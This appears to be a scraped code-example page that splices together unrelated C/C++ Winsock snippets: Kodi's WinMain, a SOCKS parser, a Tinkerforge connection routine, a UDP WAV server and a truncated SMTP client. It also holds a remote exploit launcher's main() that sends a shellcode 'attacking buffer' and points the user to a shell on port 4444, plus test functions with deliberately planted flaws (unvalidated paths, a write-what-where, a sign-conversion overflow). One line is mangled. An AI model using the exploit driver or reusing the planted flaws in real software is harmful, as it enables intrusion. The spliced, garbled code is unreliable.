//-----------------------------------------------------------------------------
// Name: WinMain()
// Desc: The application's entry point
//-----------------------------------------------------------------------------
INT WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR commandLine, INT)
{
  // this fixes crash if OPENSSL_CONF is set to existed openssl.cfg  
  // need to set it as soon as possible  
  CEnvironment::unsetenv("OPENSSL_CONF");

  // Initializes CreateMiniDump to handle exceptions.
  char ver[100];
  if (strlen(CCompileInfo::GetSuffix()) > 0)
    sprintf_s(ver, "%d.%d-%s Git:%s", CCompileInfo::GetMajor(),
    CCompileInfo::GetMinor(), CCompileInfo::GetSuffix(), CCompileInfo::GetSCMID());
  else
    sprintf_s(ver, "%d.%d Git:%s", CCompileInfo::GetMajor(),
    CCompileInfo::GetMinor(), CCompileInfo::GetSCMID());

  win32_exception::set_version(std::string(ver));
  SetUnhandledExceptionFilter(CreateMiniDump);

  // check if Kodi is already running
  std::string appName = CCompileInfo::GetAppName();
  CreateMutex(nullptr, FALSE, (appName + " Media Center").c_str());
  if (GetLastError() == ERROR_ALREADY_EXISTS)
  {
    HWND hwnd = FindWindow(appName.c_str(), appName.c_str());
    if (hwnd != NULL)
    {
      // switch to the running instance
      ShowWindow(hwnd, SW_RESTORE);
      SetForegroundWindow(hwnd);
    }
    return 0;
  }

  if ((g_cpuInfo.GetCPUFeatures() & CPU_FEATURE_SSE2) == 0)
  {
    MessageBox(NULL, "No SSE2 support detected", (appName + ": Fatal Error").c_str(), MB_OK | MB_ICONERROR);
    return 0;
  }

  //Initialize COM
  CoInitializeEx(nullptr, COINIT_MULTITHREADED);


  int argc;
  LPWSTR* argvW = CommandLineToArgvW(GetCommandLineW(), &argc);

  char** argv = new char*[argc];

  for (int i = 0; i < argc; ++i)
  {
    int size = WideCharToMultiByte(CP_UTF8, 0, argvW[i], -1, nullptr, 0, nullptr, nullptr);
    if (size > 0)
    {
      argv[i] = new char[size];
      int result = WideCharToMultiByte(CP_UTF8, 0, argvW[i], -1, argv[i], size, nullptr, nullptr);
    }
  }

  // Initialise Winsock
  WSADATA wd;
  WSAStartup(MAKEWORD(2, 2), &wd);

  // use 1 ms timer precision - like SDL initialization used to do
  timeBeginPeriod(1);

#ifndef _DEBUG
  // we don't want to see the "no disc in drive" windows message box
  SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOOPENFILEERRORBOX);
#endif

  // Create and run the app
  int status = main(argc, argv);

  for (int i = 0; i < argc; ++i)
    delete[] argv[i];
  delete[] argv;

  // clear previously set timer resolution
  timeEndPeriod(1);

  WSACleanup();
  CoUninitialize();

  return status;
}
Пример #16
0
bool SocksParser::GetRequest( SERVICE_INFO& svc )
{
	/*
	 +----+-----+-------+------+----------+----------+
	  |VER | CMD |  RSV  | ATYP | DST.ADDR | DST.gListenSocket |
	  +----+-----+-------+------+----------+----------+
	  | 1  |  1  | X'00' |  1   | Variable |    2     |
	  +----+-----+-------+------+----------+----------+
	*/
	char buffer[1024];
	sockaddr_in svr = {0};

	if(!RecvBuf(svc.socket,buffer,10))
		return FALSE;

	switch (buffer[1])
	{
		case 0x01:
			svc.type = SOCKS_CONNECT;
			break;
		case 0x02:
			svc.type = SOCKS_BIND;
			break;
		case 0x03:
			svc.type = SOCKS_UDP;
			break;
	}
		
	//需要连接一个IP
	if (buffer[3] == 0x01)
	{
		infoLog(_T("THE DESTINATION IP : %d.%d.%d.%d "),\
			buffer[4]&0xff,buffer[5]&0xff,buffer[6]&0xff,buffer[7]&0xff) ;

		infoLog(_T("THE DESTINATION PORT : %d"),((int)buffer[8])*256 + (unsigned char)buffer[9]);

		svr.sin_family = AF_INET;
		svr.sin_port = htons(((int)buffer[8])*256 + (unsigned char)buffer[9]);
		svr.sin_addr.s_addr =
			MAKELONG(MAKEWORD((buffer[4]&0xff),(buffer[5]&0xff)),
			MAKEWORD((buffer[6]&0xff),(buffer[7]&0xff))) ;
	}

		//需要连接一个域名
	else if (buffer[3] == 0x03)
	{
		int i = 0;
		int NameSize = buffer[4]&0xff;

		//接收域名
		if (NameSize >= 6)
			RecvBuf(svc.socket,&buffer[4]+6,NameSize-5);

		char szName[100];

		for (i = 0;i < NameSize;++i)
			szName[i] = buffer[i+5];

		szName[i] = 0;
		infoLog(_T("The disire DomainName : %s"),a2t(szName));

		svr.sin_family = AF_INET;


		//请求DNS
		svr.sin_addr = GetName(szName);

		//如果请求DNS失败
		if (svr.sin_addr.s_addr == 0)
		{
			errorLog(_T("QUERY DNS Error"));
			return FALSE;
		}

		i += 5;
		//接收端口号
		infoLog(_T("The disire IP :%s"),a2t(inet_ntoa(svr.sin_addr)));

		RecvBuf(svc.socket,&buffer[i],2);

		infoLog(_T("The destination port : %d"),(buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);

		svr.sin_port = htons((buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);
	}

	//设置sockaddr_in
	svc.saddr = svr;
	svc.slocal = svc.socket;

	if (svc.type == SOCKS_UDP)
	{
		svc.caddr = svr;

		sockaddr_in addr;
		socklen_t size = sizeof(addr);

		svc.usocket = Socket::Create(FALSE);

		getpeername(svc.socket,(sockaddr*)&addr,&size);
		svc.caddr.sin_addr = addr.sin_addr;

	}
	else if (svc.type == SOCKS_CONNECT)
	{
		svc.sremote = Create();
	}
	else if (svc.type == SOCKS_BIND)
	{
		svc.slocal = Create();

		if (!Socket::Bind(svc.slocal,svc.sq,svc.saddr))
		{
			return FALSE;
		}
	}
	return TRUE;
}
void bad()
{
    int i;
    wchar_t * data;
    wchar_t dataBuffer[FILENAME_MAX] = BASEPATH;
    data = dataBuffer;
    for(i = 0; i < 1; i++)
    {
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            wchar_t *replace;
            SOCKET listenSocket = INVALID_SOCKET;
            SOCKET acceptSocket = INVALID_SOCKET;
            size_t dataLen = wcslen(data);
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a listen socket */
                listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (listenSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = INADDR_ANY;
                service.sin_port = htons(TCP_PORT);
                if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
                {
                    break;
                }
                acceptSocket = accept(listenSocket, NULL, NULL);
                if (acceptSocket == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed */
                recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(wchar_t) * (FILENAME_MAX - dataLen - 1), 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* Append null terminator */
                data[dataLen + recvResult / sizeof(wchar_t)] = L'\0';
                /* Eliminate CRLF */
                replace = wcschr(data, L'\r');
                if (replace)
                {
                    *replace = L'\0';
                }
                replace = wcschr(data, L'\n');
                if (replace)
                {
                    *replace = L'\0';
                }
            }
            while (0);
            if (listenSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(listenSocket);
            }
            if (acceptSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(acceptSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
    }
    {
        int fileDesc;
        /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */
        fileDesc = OPEN(data, O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
        if (fileDesc != -1)
        {
            CLOSE(fileDesc);
        }
    }
}
void CWE123_Write_What_Where_Condition__connect_socket_67_bad()
{
    badStruct data;
    CWE123_Write_What_Where_Condition__connect_socket_67_structType myStruct;
    linkedList head = { &head, &head };
    /* This simulates a Microsoft-style linked list insertion */
    data.list.next = head.next;
    data.list.prev = head.prev;
    head.next = &data.list;
    head.prev = &data.list;
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        struct sockaddr_in service;
        SOCKET connectSocket = INVALID_SOCKET;
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (connectSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
            service.sin_port = htons(TCP_PORT);
            if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed, make sure to recv one
             * less char than is in the recv_buf in order to append a terminator */
            /* FLAW: overwrite linked list pointers with data */
            recvResult = recv(connectSocket, (char*)&data, sizeof(data), 0);
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
        }
        while (0);
        if (connectSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(connectSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
    myStruct.structFirst = data;
    CWE123_Write_What_Where_Condition__connect_socket_67b_badSink(myStruct);
}
void CWE195_Signed_to_Unsigned_Conversion_Error__connect_socket_strncpy_04_bad()
{
    int data;
    /* Initialize data */
    data = -1;
    if(STATIC_CONST_TRUE)
    {
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            SOCKET connectSocket = INVALID_SOCKET;
            char inputBuffer[CHAR_ARRAY_SIZE];
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a connect socket */
                connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (connectSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
                service.sin_port = htons(TCP_PORT);
                if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed, make sure to recv one
                 * less char than is in the recv_buf in order to append a terminator */
                recvResult = recv(connectSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* NUL-terminate the string */
                inputBuffer[recvResult] = '\0';
                /* Convert to int */
                data = atoi(inputBuffer);
            }
            while (0);
            if (connectSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(connectSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
    }
    {
        char source[100];
        char dest[100] = "";
        memset(source, 'A', 100-1);
        source[100-1] = '\0';
        if (data < 100)
        {
            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
             * the sign conversion could result in a very large number */
            strncpy(dest, source, data);
            dest[data] = '\0'; /* strncpy() does not always NULL terminate */
        }
        printLine(dest);
    }
}
Пример #20
0
int main(int argc, char **argv)
{
	char * remotehost=NULL;
	char default_remotehost[]="127.0.0.1";
	char temp1[100], temp2[100];
	int port, itarget, sh;
	SOCKET s;
	char c;	
	int option_index=0;
	logo();
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);
	if(argc<2)
	{
		usage(argv[0]);		
		return -1;
	}

	// set defaults
	port=9999;
	itarget=-1;
	sh=0;
	// ------------	
	
	while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
	{
		switch (c)
		{
			case 'h':
				remotehost=optarg;
				break; 	
			case 't':
				sscanf(optarg, "%d", &itarget);
				itarget--;
				break;
			case 'p':
				sscanf(optarg, "%d", &port);
				break;			
			default:
	            usage(argv[0]);
				WSACleanup();
			return -1;
		}		
	}	
	if(remotehost == NULL) remotehost=default_remotehost;
	memset(temp1,0,sizeof(temp1));
	memset(temp2,0,sizeof(temp2));
	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
	sprintf(temp2, "%d", port);
	memset(temp1,0,sizeof(temp1));
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
	printf(" #  Port    : %s%s# \n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp2,0,sizeof(temp2));
	sprintf(temp2, "%s", shellcodes[sh].name );
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
	printf(" #  Payload : %s%s# \n", temp2, temp1);	
	if(itarget!=-1)
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);	
		printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);		
	}else
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen("Please select target") -1);	
		printf(" #  Target  : %s%s# \n", "Please select target", temp1);
	}
	printf(" # ------------------------------------------------------------------- # \n");
	fflush(stdout);
	printf("   [+] Checking if server is online\n");
	fflush(stdout);
	s=do_connect(remotehost, port);   
	if(s==-1)
	{
		printf("   [-] Server is OFFLINE\n");
		end_logo();
		return 0;
	}
	closesocket(s);
	printf("   [+] Server is ONLINE\n");

	
	unsigned char buf[30000];
	memset(buf,0,sizeof(buf));
	fflush(stdout);
	
	make_buffer(buf, itarget, sh);
	printf("   [+] Attacking buffer constructed\n");
	if(send_buffer(buf, remotehost,port)==-1)
	{
		printf("   [-] Cannot exploit server %s\n", remotehost);
		end_logo();
		WSACleanup();
		return -1;
	}

	printf("   [+] Buffer sent\n");
	printf("   [+] Connect to %s:%d\n", remotehost, 4444);
	end_logo();
	WSACleanup();
	return 0;
}
Пример #21
0
 int ipcon_create(IPConnection *ipcon, const char *host, const int port, const int start_threads) {
	int i;
	for(i = 0; i < MAX_NUM_DEVICES; i++) {
		ipcon->devices[i] = NULL;
	}
	ipcon->add_device = NULL;
	ipcon->enumerate_callback = NULL;
	ipcon->recv_loop_flag = true;
	ipcon->callback_queue_head = NULL;
	ipcon->callback_queue_tail = NULL;

#ifdef _WIN32
	WSADATA wsaData;

	// Initialize Winsock
	if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		return E_NO_STREAM_SOCKET;
	}

	ipcon->s = socket(AF_INET, SOCK_STREAM, 0);
	if(ipcon->s == INVALID_SOCKET) {
		return E_NO_STREAM_SOCKET;
	}
#else
	ipcon->fd = socket(AF_INET, SOCK_STREAM, 0);
	if(ipcon->fd < 0) {
		return E_NO_STREAM_SOCKET;
	}
#endif

	struct hostent *he = gethostbyname(host);
	if(he == NULL) {
		return E_HOSTNAME_INVALID;
	}

	memset(&ipcon->server, 0, sizeof(struct sockaddr_in));
	memcpy(&ipcon->server.sin_addr, he->h_addr_list[0], he->h_length);
	ipcon->server.sin_family = AF_INET;
	ipcon->server.sin_port = htons(port);
#ifdef _WIN32
	if(connect(ipcon->s,
	           (struct sockaddr *)&ipcon->server,
	           sizeof(ipcon->server)) == SOCKET_ERROR) {
		return E_NO_CONNECT;
	}
#else
	if(connect(ipcon->fd,
	           (struct sockaddr *)&ipcon->server,
	           sizeof(ipcon->server)) < 0) {
		return E_NO_CONNECT;
	}
#endif

	if(start_threads) {
#ifdef _WIN32
	InitializeCriticalSection(&ipcon->callback_queue_mutex);
	ipcon->callback_queue_semaphore = CreateSemaphore(NULL, 0, INT32_MAX, NULL);
#elif defined __APPLE__
	pthread_mutex_init(&ipcon->callback_queue_mutex, NULL);

	// Mac OS does not support unnamed semaphores, so we fake them.
	// Unlink first to ensure that there is no existing semaphore with that name.
	// Then open the semaphore to create a new one. Finally unlink it again to
	// avoid leaking the name. The semaphore will just work fine without a name.
	#define SEMAPHORE_NAME "tinkerforge-ipcon-internal"
	sem_unlink(SEMAPHORE_NAME);
	ipcon->callback_queue_semaphore = sem_open(SEMAPHORE_NAME, O_CREAT | O_EXCL, S_IRUSR | S_IWUSR | S_IXUSR, 0);
	sem_unlink(SEMAPHORE_NAME);
#else
	pthread_mutex_init(&ipcon->callback_queue_mutex, NULL);
	ipcon->callback_queue_semaphore = &ipcon->callback_queue_semaphore_object;
	sem_init(ipcon->callback_queue_semaphore, 0, 0);
#endif

#ifdef _WIN32
	DWORD thread_recv_loop_id;
	ipcon->handle_recv_loop = CreateThread(NULL,
	                                       0,
	                                       (LPTHREAD_START_ROUTINE)ipcon_recv_loop,
	                                       (void*)ipcon,
	                                       0,
	                                       (LPDWORD)&thread_recv_loop_id);
	if(ipcon->handle_recv_loop == NULL) {
		return E_NO_THREAD;
	}
	DWORD thread_callback_loop_id;
	ipcon->handle_callback_loop = CreateThread(NULL,
	                                           0,
	                                           (LPTHREAD_START_ROUTINE)ipcon_callback_loop,
	                                           (void*)ipcon,
	                                           0,
	                                           (LPDWORD)&thread_callback_loop_id);
	if(ipcon->handle_callback_loop == NULL) {
		return E_NO_THREAD;
	}
#else
	if(pthread_create(&ipcon->thread_recv_loop,
	                  NULL,
	                  ipcon_recv_loop,
	                  (void*)ipcon) < 0) {
		return E_NO_THREAD;
	}
	if(pthread_create(&ipcon->thread_callback_loop,
	                  NULL,
	                  ipcon_callback_loop,
	                  (void*)ipcon) < 0) {
		return E_NO_THREAD;
	}
#endif
    }
	return E_OK;
}
Пример #22
0
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;
	switch (message)
	{
	case WM_CREATE:
		{
			hdc = BeginPaint(hWnd, &ps);// дескриптор л¤ отображени¤ элементов окна
			startButton = CreateWindowEx(0,TEXT("button"),TEXT("Start Server"),WS_VISIBLE|WS_CHILD,700, 20, 150, 30, hWnd, (HMENU)START_ID, hInst, 0);
			stopButton = CreateWindowEx(0,TEXT("button"),TEXT("Stop Server"),WS_VISIBLE|WS_CHILD,700, 60, 150, 30, hWnd, (HMENU)STOP_ID, hInst, 0);
			addButton = CreateWindowEx(0,TEXT("button"),TEXT("Add file"),WS_VISIBLE|WS_CHILD,700, 150, 150, 30, hWnd, (HMENU)ADD_ID, hInst, 0);
			exitButton = CreateWindowEx(0,TEXT("button"),TEXT("Exit"),WS_VISIBLE|WS_CHILD,700, 350, 150, 30, hWnd, (HMENU)EXIT_ID, hInst, 0);
			hEdit			= CreateWindowEx(	0,TEXT("edit"),TEXT("127.0.0.1"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 10, 400, 20, hWnd, (HMENU)EDIT_ID, hInst, 0);
			hEdit2			= CreateWindowEx(	0,TEXT("edit"),TEXT("12345"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 40, 400, 20, hWnd, (HMENU)EDIT2_ID, hInst, 0);
			hList			= CreateWindowEx(	0,TEXT("ListBox"),0,WS_CHILD | WS_VISIBLE| ES_LEFT|ES_NUMBER, 60, 130, 500, 400, hWnd, (HMENU)LIST_ID, hInst, 0);
			EndPaint(hWnd, &ps);
			break;
		}
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		// –азобрать выбор:
		switch (wmId)
		{
		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;
		case EXIT_ID:
			DestroyWindow(hWnd);
			break;
		case ADD_ID:
		{
			OPENFILENAME ofn;
			PSTR FileName  = new char [255];
			lstrcpy(FileName,"");
			ZeroMemory(&ofn,sizeof(ofn));										// очистим структуру
			ofn.lStructSize = sizeof(ofn);
			ofn.hwndOwner = hWnd;
			ofn.lpstrFile = FileName;
			ofn.lpstrFilter = "WAV\0*.wav";// маскафильтра добавлени¤ файла
			ofn.nFilterIndex = 1;//айдишник структуры
			ofn.lpstrFileTitle = NULL;
			ofn.nMaxFileTitle = 0;
			ofn.lpstrInitialDir = NULL;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
			ofn.nMaxFile = 9999;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT | OFN_EXPLORER;
			bool ret = GetOpenFileName(&ofn); 
			DefWindowProc(hWnd, WM_PAINT, wParam, lParam);
			SendMessage(hList,LB_ADDSTRING,wParam,(LPARAM)ofn.lpstrFile);
			SendMessage(hList,LB_SETCURSEL,0,0);
			break;
		}
		case START_ID:
		{
			WSAStartup(MAKEWORD(2,2), &wsaData);										// Initialize Winsock
			SendRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);					// Create a SOCKET for connecting to server
			// Setup the TCP listening socket
			ServerAddr.sin_family=AF_INET;												//семейство адресов 
			char S[255];
			SendMessage(hEdit, WM_GETTEXT, 255, (LPARAM)S);
			ServerAddr.sin_addr.s_addr = inet_addr( S );
			SendMessage(hEdit2, WM_GETTEXT, 255, (LPARAM)S);
			int tmp = atoi(S); // число
			ServerAddr.sin_port=htons(tmp);
			err = bind( SendRecvSocket, (sockaddr *) &ServerAddr, sizeof(ServerAddr));	// св¤зывание адреса с сокетом
			if (err == SOCKET_ERROR) 
			{
				char strerr[256];
				int tmp = WSAGetLastError();
				sprintf(strerr,"%d",tmp);
				std::string tmp_S;
				tmp_S="ERROR number: ";
				tmp_S+=strerr;
				MessageBox(hWnd,(LPCSTR)strerr,tmp_S.c_str(),  MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			WIN32_FIND_DATA FindFileData;
			HANDLE hFind;
			int el=-100;
			el=SendMessage(hList,LB_GETCURSEL,0,0);
			if (el==-1)
			{
				MessageBox(hWnd,"Add element", "ERROR", MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			SendMessage(hList,LB_GETTEXT, el, (LPARAM)TransFileName);
			hFind = FindFirstFile((LPCSTR)TransFileName, &FindFileData);
			FindClose(hFind);
			ifs.open(TransFileName,std::ios_base::binary);
			SetTimer(hWnd,100500,50,NULL);
			break;
		}
		case STOP_ID:
		{
			KillTimer(hWnd,100500);
			if (ifs.is_open()) ifs.close();
			closesocket(SendRecvSocket);
			WSACleanup();
			break;
		}
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		break;
	case WM_PAINT:
	{
		hdc = BeginPaint(hWnd, &ps);
		// добавьть любой код отрисовки...
		EndPaint(hWnd, &ps);
		break;
	}
	case WM_TIMER:
		{
			if(wParam==100500)
			{
				DWORD val = 20; // ждем 20 мс
				setsockopt (SendRecvSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&val, sizeof DWORD);		//без этого вызова висим вечно
				err = recvfrom(SendRecvSocket,recvbuf,maxlen,0,(sockaddr *)&ClientAddr,&ClientAddrSize);
				if (err > 0) 
				{
					recvbuf[err]=0;
					std::string inS, FunctionS, ComandS;
					inS = (char* )recvbuf;
					int i =0;
					while ((i<inS.length()) && (inS[i] != ' '))
						ComandS +=inS[i++];
					int comand = atoi(ComandS.c_str());
					if (comand == 1)
					{
						const int NN=sizeof(sWaveHeader);
						char* buf=new char[NN];
						int k=0;
						if (ifs.peek()!=EOF)
						{
							for (int j =0; j<NN; ++j)
							{
								buf[k]=ifs.get();
								++k;
								if (ifs.peek()==EOF)
									break;
							}
						}
						sWaveHeader Hdr;
						copybuf(reinterpret_cast<char*>(&Hdr),buf, sizeof(sWaveHeader));
						sendto(SendRecvSocket,buf,k,0,(sockaddr *)&ClientAddr,sizeof(ClientAddr));		// отправл¤ем результат на сервер
						delete []buf;
					}
					if(comand>1)
					{
						++count_obr;
						const int NN=comand;
						char* buf=new char[NN];
						int k=0;
						if (ifs.peek()!=EOF)
						{
							for (int j =0; j<NN; ++j)
							{
								buf[k]=ifs.get();
								++k;
								if (ifs.peek()==EOF)
									break;
							}
						}
						sendto(SendRecvSocket,buf,k,0,(sockaddr *)&ClientAddr,sizeof(ClientAddr));			// отправл¤ем результат на сервер
						delete []buf;
					}

				}
				if (ifs.is_open())
					if (ifs.peek()==EOF)
					{
						KillTimer(hWnd,100500);
						if (ifs.is_open())ifs.close();
						closesocket(SendRecvSocket);
						WSACleanup();

						char tmp_count[256];
						sprintf(tmp_count,"%d",count_obr);
						std::string message_i;
						message_i = TransFileName;
						message_i+= "  file transfer is complete. count_obr = ";
						message_i+= tmp_count;
						MessageBox(hWnd, message_i.c_str(),"Information", MB_ICONINFORMATION);
					}
			}
			break;
		}
	case WM_DESTROY:
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}
Пример #23
0
int main(int *argc, char *argv[])
{
	//Declaracion de variables
	SOCKET sockfd;
	struct sockaddr_in server_in;
	char buffer_in[2048],comprueba[1024], buffer_out[2048];
	int recibidos=0,enviados=0;
	int fallo_len=0;
	int estado;
	char option;
	int intentos;
	char username[30],destinatario[30],asunto[30],fecha[1024],mensaje[1024]="",entrada [1024]=".";
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	int salir;
	struct hostent *host;
	struct in_addr address;
	int ipdestl;
    char ipdest[16];
	char default_ip[16]="127.0.0.1";
	system("color 0F");
	//Inicialización Windows sockets
	wVersionRequested=MAKEWORD(1,1);
	err=WSAStartup(wVersionRequested,&wsaData);
	if(err!=0)
		return(0);

	if(LOBYTE(wsaData.wVersion)!=1||HIBYTE(wsaData.wVersion)!=1)
	{
		WSACleanup();
		return(0);
	}
	//Fin: Inicialización Windows sockets

	do{
		
		sockfd=socket(AF_INET,SOCK_STREAM,0);	//Creación del socket

		if(sockfd==INVALID_SOCKET)//Comprobación de posible fallo				
		{
			printf("ERROR AL CREAR SOCKET\r\n");
			exit(-1);
		}
		else
		{
			do{
				system("cls");
				head();
				printf("Introduzca la IP del servidor SMTP (pulsar enter para IP por defecto): ");
				gets(ipdest);
			
				if (strncmp(ipdest,"QUIT",4)==0){
					return 1;
				}
				else{
						salir=1;
						ipdestl=inet_addr(ipdest);
						if (ipdestl==INADDR_NONE){
							host=gethostbyname(ipdest);
							if (host!=NULL){
								memcpy(&address,host->h_addr_list[0],4);
								server_in.sin_addr=address;	//IP del servidor
							}
							else{
								printf("Error dominio incorrecto\r\n");
								system("pause null");
								salir=0;
							}
				
						}
						else
						{
							if (strcmp(ipdest,"")==0){
								strcpy(ipdest,default_ip);
							}
							server_in.sin_addr.s_addr=inet_addr(ipdest);//IP del servidor
						}
				}
			}while(salir==0);
			printf("%s\r\n",inet_ntoa(server_in.sin_addr));
			system("pause>nul");
			//Parametros iniciales
			server_in.sin_family=AF_INET;	//Familia IP
			server_in.sin_port=htons(TCP_SERVICE_PORT);		//Puerto Que vamos a usar
			
			
			enviados=0;
			estado=S_HELO;
			intentos=0;
		
			// establece la conexion de transporte
			if(connect(sockfd,(struct sockaddr*)&server_in,sizeof(server_in))==0)
			{
				//Recibo
				recibidos=recv(sockfd,buffer_in,512,0);
				if(recibidos<=0){
					DWORD error=GetLastError();
					if(recibidos<0)
					{
						printf("Error %d en la recepción de datos\r\n",error);
						estado=S_QUIT;
					}
					else
					{
						printf("Conexión con el servidor cerrada\r\n");
						estado=S_QUIT;
					}
				}
				
				do{
					
					//MAQUINA DE ESTADOS
					switch(estado)
					{
					case S_RSET:
						sprintf_s(buffer_out,sizeof(buffer_out),"%s%s",RS,CRLF);
						system("cls");
						head();
						estado=S_HELO;
						break;
					case S_HELO:
						system("cls");
						head();
						sprintf_s(buffer_out,sizeof(buffer_out),"%s%s",HI,CRLF);
						break;
					case S_USER:
						printf("Username: "******"MAIL FROM:<%s>%s",username,CRLF);
						break;
					case S_ADDRESSEE:
						printf("Destinatario: ");
						gets(destinatario);
						sprintf_s(buffer_out,sizeof(buffer_out),"RCPT TO:<%s>%s",destinatario,CRLF);
						break;
					case S_DATA:
						sprintf_s(buffer_out,sizeof(buffer_out),"DATA%s",CRLF);
						break;
					case S_MENSAJE:
						
						//Fecha origen
						reloj(fecha);

						//Asunto
						printf("\nAsunto: ");
						gets(asunto);

						//Cabeceras  del mensaje
						sprintf_s(mensaje,sizeof(mensaje),"Date: %s%sFrom: %s%sTo: %s%sSubject: %s%s",fecha,CRLF,username,CRLF,destinatario,CRLF,asunto,CRLF);
						printf("\nMENSAJE: (escribe un '.' para finalizar)\r\n");
						do{
							gets(entrada);
							sprintf_s(mensaje,sizeof(mensaje),"%s%s%s",mensaje,CRLF,entrada);
						}while(strncmp(entrada,".",1)!=0);
						sprintf_s(buffer_out,sizeof(mensaje),"%s%s",mensaje,CRLF);
						break;
		
					}
					
					
					//Envio
					
					enviados=send(sockfd,buffer_out,(int)strlen(buffer_out),0);
					
					if (enviados<0){
						DWORD error=GetLastError();
						
							printf("Error %d en el envio de datos%s",error,CRLF);
							break;
					}

					//Recibo
					recibidos=recv(sockfd,buffer_in,512,0);
					if(recibidos<=0){
						DWORD error=GetLastError();
						if(recibidos<0)
						{
							printf("Error %d en la recepción de datos\r\n",error);
							estado=S_QUIT;
						}
						else
						{
							printf("Conexión con el servidor cerrada\r\n");
							estado=S_QUIT;
						}
					}
					

					if (strncmp(buffer_in,"554",3)==0){
						printf("\nDicho destinatario no existe, reintentelo\r\n\n");
					}
					if (estado==S_MENSAJE && strncmp(buffer_in,"250",3)==0){
						char op;
						system("cls");
						head();
						printf("Mensaje enviado correctamente\r\n\n");
						printf("Desea enviar otro mensaje[S/N]");
						op=_getche();
						if (op=='S' || op=='s'){
							estado=S_RSET;
						}
